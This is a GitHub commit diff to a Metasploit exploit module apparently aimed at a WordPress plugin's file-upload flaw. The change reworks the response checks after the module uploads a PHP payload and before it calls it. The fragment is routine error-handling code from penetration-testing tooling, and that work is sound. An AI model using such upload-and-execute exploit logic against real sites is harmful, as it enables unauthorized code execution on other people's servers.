We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 2d1f8c5 commit 10c2183Copy full SHA for 10c2183
modules/exploits/unix/webapp/wp_worktheflow_upload.rb
@@ -66,11 +66,15 @@ def exploit
66
'data' => post_data
67
})
68
69
- if res && res.code == 200 && res.body
70
- print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
71
- register_files_for_cleanup(php_pagename)
+ if res
+ if res.code == 200
+ print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
72
+ register_files_for_cleanup(php_pagename)
73
+ else
74
+ fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
75
+ end
76
else
- fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
77
+ fail_with('ERROR')
78
end
79
80
print_status("#{peer} - Calling payload...")
0 commit comments